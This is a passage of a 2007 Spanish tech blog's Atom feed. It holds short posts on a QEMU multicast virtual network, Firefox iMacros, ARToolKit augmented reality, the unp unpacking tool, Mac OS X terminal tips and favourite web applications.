href='http://www.blogger.com/feeds/7407946/posts/default/4491188605860885460'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/07/compilacin-de-mdulos-bajo-linux.html' title='Compilación de módulos bajo Linux'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-8916116818842957815</id><published>2007-07-10T16:41:00.000Z</published><updated>2007-07-14T18:28:27.740Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='qemu'/><title type='text'>Red multicast con qemu</title><content type='html'>En ciertas ocasiones,  programación en red por ejemplo, nos interesa poder simular una red de computadoras con &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;sóla&lt;/span&gt; maquina de manera segura y sin tener que modificar nuestro sistema operativo. Aquí les comento como hacerlo usando un emulador libre llamado &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;qemu&lt;/span&gt;&lt;/span&gt; que interconectara tres terminales &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;linux&lt;/span&gt; mediante una red &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;multicast&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Como se pueden imaginar, en una red &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;multicast&lt;/span&gt;&lt;/span&gt; si una &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_4"&gt;estación&lt;/span&gt; &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_5"&gt;envía&lt;/span&gt; un paquete este es recibido por todos por todas las &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_6"&gt;demás&lt;/span&gt; al igual que ocurre en una &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_7"&gt;topología&lt;/span&gt; de bus.&lt;br /&gt;&lt;br /&gt;Primero vamos a descargar &lt;a href="http://fabrice.bellard.free.fr/qemu/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;qemu&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; para &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;windows&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;A continuación replicaremos la imagen de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;linux&lt;/span&gt;&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;img&lt;/span&gt;&lt;/span&gt; que viene de serie en el directorio y las renombramos como &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;linux&lt;/span&gt;&lt;/span&gt;1.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;img&lt;/span&gt;&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;linux&lt;/span&gt;&lt;/span&gt;2.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;img&lt;/span&gt;&lt;/span&gt; y &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;linux&lt;/span&gt;&lt;/span&gt;3.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;img&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Seguidamente crearemos  tres archivos .&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;bat&lt;/span&gt;&lt;/span&gt; en el mismo directorio de la siguiente manera:&lt;br /&gt;&lt;br /&gt;archivo uno.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;bat&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;qemu.exe -L . -m 128 -hda linux1.img -localtime -M isapc -net nic,macaddr=52:54:00:12:34:56 -net socket,mcast=224.0.0.1:1234&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;archivo dos.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;bat&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;qemu.exe -L . -m 128 -hda linux1.img -localtime -M isapc -net nic,macaddr=52:54:00:12:34:57 -net socket,mcast=224.0.0.1:1234&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;archivo tres.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;bat&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;qemu.exe -L . -m 128 -hda linux1.img -localtime -M isapc -net nic,macaddr=52:54:00:12:34:58 -net socket,mcast=224.0.0.1:1234&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Resaltar que hemos cambiado el numero de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_55"&gt;direccion&lt;/span&gt;&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_52"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_56"&gt;fisica&lt;/span&gt;&lt;/span&gt; de cada una de las tres interfaces que usaran los sistemas.&lt;br /&gt;&lt;br /&gt;Tras arrancar los tres sistemas mediante la ejecución los .&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_53"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_57"&gt;bat&lt;/span&gt;&lt;/span&gt;.  Asignaremos una &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_54"&gt;dirección&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_55"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_58"&gt;ip&lt;/span&gt;&lt;/span&gt; a cada sistema de la siguiente forma:&lt;br /&gt;&lt;br /&gt;sistema 1&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ifconfig 192.168.0.1 netmask 255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;sistema 2&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ifconfig 192.168.0.2 netmask 255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;sistema 3&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ifconfig 192.168.0.3 netmask 255.255.255.0&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Finalmente para comprobar que todo funciona probaremos a hacer &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_62"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_65"&gt;ping&lt;/span&gt;&lt;/span&gt; entre cualquiera de los sistemas. Por ejemplo, desde el primero hacia el tercero mediante la orden:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ping -c 2 192.168.0.3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El procedimiento similar con otros sistemas operativos tanto el del &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_67"&gt;host&lt;/span&gt; como de las maquinas virtuales a interconectar.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-8916116818842957815?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/8916116818842957815/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=8916116818842957815' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/8916116818842957815'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/8916116818842957815'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/07/red-multicast-con-qemu.html' title='Red multicast con qemu'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-1156665098028054511</id><published>2007-07-05T23:18:00.001Z</published><updated>2007-07-11T11:43:03.958Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='firefox'/><title type='text'>Automatizar tareas repetitivas con Firefox</title><content type='html'>Sabes que es una macro? A mi juicio no es mas que una secuencia de tareas asociadas en una única acción. Por ejemplo: Imagina que quieres personalizar un titulo de pagina con un determinado tipo de fuente, tamaño, alineación y color. En lugar de realizar esa secuencia de operaciones cada vez que necesites insertar un titulo, podrías crear una macro llamada "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Mititulo&lt;/span&gt;" que se encargue de ello. Me sigues?&lt;br /&gt;&lt;br /&gt;El caso es que por casualidad encontré una extensión para el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Firefox&lt;/span&gt; llamada &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/3863"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;iMacros&lt;/span&gt;&lt;/a&gt; que te permite automatizar tareas de negación &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;web&lt;/span&gt;.&lt;br /&gt;La extensión simula a una persona que interactúa con el navegador pudiendo rellenar estomáticamente formularios,  hacer &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;cliks&lt;/span&gt;, cerrar ventanas publicitarias, descargar archivos, etc..&lt;br /&gt;Vamos! Que ahora todas las tareas repetitivas solo las tendrás que realizar tu una sola vez  para grabar la macro. Y a partir de ahí, puedes repetirlas cómodamente con un simple golpe de ratón.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-1156665098028054511?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/1156665098028054511/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=1156665098028054511' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/1156665098028054511'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/1156665098028054511'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/07/automatizar-tareas-repetitivas-con.html' title='Automatizar tareas repetitivas con Firefox'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-4640978123142523767</id><published>2007-06-26T10:45:00.001Z</published><updated>2007-07-14T18:03:12.294Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='AugmentedReality ARtoolKit'/><title type='text'>Augmented Rality</title><content type='html'>La realidad aumentada extiende y aumenta la realidad con elementos virtuales.&lt;br /&gt;&lt;br /&gt;Miren &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_0"&gt;aquí&lt;/span&gt; un ejemplo:&lt;br /&gt;&lt;embed style="width: 400px; height: 326px;" id="VideoPlayback" type="application/x-shockwave-flash" src="http://video.google.com/googleplayer.swf?docId=-7208350155329800209&amp;hl=en-GB" flashvars=""&gt;&lt;/embed&gt;&lt;br /&gt;&lt;br /&gt;El otro &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;día&lt;/span&gt; estuve con mis compañeros en el laboratorio de &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_2"&gt;informática&lt;/span&gt; jugando con una &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_3"&gt;librería&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;opensource&lt;/span&gt; llamada &lt;a href="http://www.hitl.washington.edu/artoolkit/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;ARToolKit&lt;/span&gt;&lt;/a&gt;. Con ella es posible crear aplicaciones de realidad aumentada utilizando una &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;webcam&lt;/span&gt; y unas tarjetas marcadas.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WfG_C-qIpKE/RpkNcvsn_JI/AAAAAAAAAE4/W29FHgVRLSg/s1600-h/cuboSobreTarjetaMarcada.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_WfG_C-qIpKE/RpkNcvsn_JI/AAAAAAAAAE4/W29FHgVRLSg/s200/cuboSobreTarjetaMarcada.jpg" alt="" id="BLOGGER_PHOTO_ID_5087112041582820498" border="0" /&gt;&lt;/a&gt;Tuvimos que compilar la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_7"&gt;librería&lt;/span&gt; y para ello solucionar un par de dependencias con  &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;apt&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;get&lt;/span&gt;. Pero al final conseguimos instalarla y hacerla funcionar con uno de los ejemplos  del directorio &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;bin&lt;/span&gt;. Tras ejecutar el programa y enfocar la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_11"&gt;cámara&lt;/span&gt; hacia la tarjeta marcada, &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_12"&gt;apareció&lt;/span&gt; en la pantalla del ordenador un cubo virtual dibujado sobre la tarjeta. Con el que se puede interactuar mediante la tarjeta &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_13"&gt;haciéndola&lt;/span&gt; rotar, variando su distancia con respecto a la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_14"&gt;cámara&lt;/span&gt;, etc...&lt;br /&gt;&lt;br /&gt;La documentacion oficial, aunque en lengua inglesa, esta bastante bien. Lo único es advertir que si queremos dibujar algo mas complicado necesitaremos conocimientos de la libreria &lt;a href="http://es.wikipedia.org/wiki/GLUT"&gt;GLUT&lt;/a&gt; de OpenGL.&lt;br /&gt;&lt;br /&gt;Mas &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_15"&gt;información&lt;/span&gt; sobre la realidad aumentada en:&lt;br /&gt;&lt;br /&gt;Entrada en la &lt;a href="http://en.wikipedia.org/wiki/Augmented_reality"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;Wikipedia&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_17"&gt;Búsqueda&lt;/span&gt; en &lt;a href="http://del.icio.us/search/?fr=del_icio_us&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;p=augmented+reality&amp;amp;type=all"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;Delicious&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_19"&gt;Búsqueda&lt;/span&gt; en &lt;a href="http://www.google.es/search?q=augmented+reality"&gt;Google&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Un &lt;a href="http://futura.disca.upv.es/%7Etsmm/AR/previo/"&gt;Articulo &lt;/a&gt;en español de la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_20"&gt;librería&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;Artoolkit&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-4640978123142523767?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/4640978123142523767/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=4640978123142523767' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/4640978123142523767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/4640978123142523767'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/06/augmented-rality.html' title='Augmented Rality'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_WfG_C-qIpKE/RpkNcvsn_JI/AAAAAAAAAE4/W29FHgVRLSg/s72-c/cuboSobreTarjetaMarcada.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-2379005474913107618</id><published>2007-06-26T09:23:00.000Z</published><updated>2007-06-26T09:39:23.921Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>unp : Descromprime archivos en LINUX</title><content type='html'>Navegando un rato, un día de aburrimiento... me encontré esto y me pareció bastante interesante. Muchos hemos pasado por el estrés que supone el tener un archivo comprimido y no saber como diablos descomprimirlo. Hoy en día eso ya no es problema porque los entornos de escritorio ya vienen con herramientas para descomprimir todo tipo de archivos, pero y en consola, como lo haces en consola? Cada archivo tiene una forma de descomprimirlo, hay que aprenderse bastantes opciones de los comandos y es un poco lioso a veces. Pues bien, existe &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;unp&lt;/span&gt;, un script escrito en &lt;span class="Apple-style-span" style="font-style: italic;"&gt;PERL&lt;/span&gt; que nos facilitará esta tarea.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Ejemplo de uso:&lt;/span&gt; &lt;span class="Apple-style-span" style="color: rgb(51, 51, 255); "&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 51, 255); "&gt;unp nombre_del_archivo&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;(soporta tar.gz, tar.bz, rmp, deb, zip, rar... )&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre style="font-size: 10.0pt; font-family: Verdana; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; margin-bottom: .0001pt"&gt;PD: si sois usuarios de UBUNTU, este script está en los repositorios.&lt;/pre&gt;&lt;pre style="font-size: 10.0pt; font-family: Verdana; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; margin-bottom: .0001pt"&gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre   style="text-align: center;  margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; margin-bottom: 0.0001pt; font-family:Verdana;font-size:10pt;"&gt;&lt;span class="Apple-style-span"  style="color: rgb(51, 51, 51);  white-space: normal; font-family:'Trebuchet MS';"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;a href="http://www.debianhelp.co.uk/unp.htm"&gt;http://www.debianhelp.co.uk/unp.htm&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-2379005474913107618?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/2379005474913107618/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=2379005474913107618' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/2379005474913107618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/2379005474913107618'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/06/unp-descromprime-archivos-en-linux.html' title='unp : Descromprime archivos en LINUX'/><author><name>_SpYkE_</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://usuarios.lycos.es/btvs/spyke.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-7049165333311933139</id><published>2007-06-24T12:19:00.001Z</published><updated>2007-06-24T12:28:14.466Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mac'/><category scheme='http://www.blogger.com/atom/ns#' term='Apple'/><category scheme='http://www.blogger.com/atom/ns#' term='Mac OS X'/><title type='text'>Quitar los iconos del escritorio del Mac OS X</title><content type='html'>&lt;p&gt;Cansado de dichoso icono del disco duro y algunos que otros más que te aparecen en el escritorio? quieres tener un escritorio limpio en Mac? bien... esta es una posible solución.&lt;/p&gt; &lt;p&gt;En un terminal ponemos lo siguiente:&lt;br /&gt;&lt;span style="font-style: italic;" class="Apple-style-span"&gt;&lt;span style="font-weight: bold;" class="Apple-style-span"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;" class="Apple-style-span"&gt;&lt;span style="font-weight: bold;" class="Apple-style-span"&gt;defaults write com.apple.finder CreateDesktop -boolean false &lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;" class="Apple-style-span"&gt;&lt;span style="font-weight: bold;" class="Apple-style-span"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;y seguidamente reiniciamos el Finder:&lt;br /&gt;&lt;span style="font-weight: bold;" class="Apple-style-span"&gt;&lt;span style="font-style: italic;" class="Apple-style-span"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;" class="Apple-style-span"&gt;&lt;span style="font-style: italic;" class="Apple-style-span"&gt;killall Finder &lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;" class="Apple-style-span"&gt;&lt;span style="font-style: italic;" class="Apple-style-span"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Y ya tenemos nuestro escritorio inmaculado, sin iconos, solo el wallpaper. Y si os arrepentis, volved a poner el comando en la consola con true y se volverá a estar todo como antes ;)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-7049165333311933139?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/7049165333311933139/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=7049165333311933139' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/7049165333311933139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/7049165333311933139'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/06/quitar-los-iconos-del-escritorio-del.html' title='Quitar los iconos del escritorio del Mac OS X'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-3053849281868895326</id><published>2007-06-24T12:18:00.003Z</published><updated>2007-06-27T10:34:04.904Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mac'/><category scheme='http://www.blogger.com/atom/ns#' term='Apple'/><category scheme='http://www.blogger.com/atom/ns#' term='Mac OS X'/><title type='text'>Pasar .DMG a .ISO</title><content type='html'>Alguna vez os habéis visto en la necesidad de pasar una imagen &lt;a href="http://en.wikipedia.org/wiki/.dmg"&gt;.DMG&lt;/a&gt; a &lt;a href="http://es.wikipedia.org/wiki/Imagen_ISO"&gt;.ISO&lt;/a&gt;? no se vosotros pero yo si, y mas de una vez. Tengo un iBook G4 y no tengo gravadora de DVD, y muchas de las imágenes .DMG que tengo son de DVD y solo las puedo tostar en el PC. Así que esta es la solución, tras mucho buscar, para que usar aplicaciones de terceros si con abrir una consola en el Mac Os X tenemos jejejeje.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Este es el comando para pasar el .DMG a .ISO:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;hdiutil convert /path/filename.dmg -format UDTO -o /path/filename.iso&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Así de sencillo tendremos la imagen convertida a .ISO para tostarla facilmente en cualquier SO. ;)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-3053849281868895326?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/3053849281868895326/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=3053849281868895326' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/3053849281868895326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/3053849281868895326'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/06/pasar-dmg-iso_24.html' title='Pasar .DMG a .ISO'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-6811189497087876256</id><published>2007-06-24T12:18:00.001Z</published><updated>2007-09-29T12:56:23.010Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><title type='text'>Los programas se ejecutan ahora en internet?</title><content type='html'>&lt;p&gt;A la par de la salida de las nuevas versiones de los populares sistemas operativos de escritorio, nos vamos encontramos autenticas aplicaciones que pueden ejecutarse con un navegador www. Esta claro el concepto de s.o. de escritorio esta cambiando y que tal vez algun dia, nuestros dispositivos electronicos solo dispongan de una especie de sistema cuya principal funcion sea la ejecucion remota de programas.&lt;/p&gt; &lt;p&gt;Estas son mis aplicaciones web de uso diario:&lt;/p&gt; Marcador:&lt;br /&gt;    &lt;a href="http://del.icio.us/"&gt;Delicious&lt;/a&gt;&lt;br /&gt;Radio:&lt;br /&gt;    &lt;a href="http://www.last.fm/"&gt;Last.fm&lt;/a&gt;&lt;br /&gt;&lt;a href="http:/V%C3%83%C2%ADnculo%0A%20http://musicovery.com/"&gt;    Musicovery&lt;/a&gt;&lt;br /&gt;TV:&lt;br /&gt;    &lt;a href="http://www.youtube.com/"&gt;Youtube&lt;/a&gt;&lt;br /&gt;    &lt;a href="http://stage6.divx.com/"&gt;stage6&lt;/a&gt;&lt;br /&gt;Mensajeria:&lt;br /&gt;    &lt;a href="http://gmail.com/"&gt;Gmail&lt;/a&gt;&lt;br /&gt;    &lt;a href="http://wwwl.meebo.com/"&gt;Meebo&lt;/a&gt;&lt;br /&gt;Album de fotos:&lt;br /&gt;    &lt;a href="http://picasa.google.com/"&gt;Picasa&lt;/a&gt;&lt;br /&gt;Ofimatica:&lt;br /&gt;     &lt;a href="http://docs.google.com/"&gt;Google Docs&lt;/a&gt;&lt;br /&gt;Agenta:&lt;br /&gt;    &lt;a href="http://calendar.google.com/"&gt;Google  Calendar&lt;/a&gt;&lt;br /&gt;Lector de noticias:&lt;br /&gt;    &lt;a href="http://google.com/reader"&gt;Google Reader&lt;/a&gt;&lt;br /&gt;Escritorio:&lt;br /&gt;    &lt;a href="http://google.com/ig"&gt;IGoogle&lt;/a&gt;&lt;br /&gt;    &lt;a href="http://www.netvibes.com/"&gt;Netvibes&lt;/a&gt;&lt;br /&gt;Tests:&lt;br /&gt;    &lt;a href="http://quizlet.com/"&gt;Quizlet&lt;/a&gt;&lt;br /&gt;&lt;p&gt;Alguna otra de uso diario que sustituya perfectamente a las convencionales de escritorio?&lt;/p&gt;&lt;div 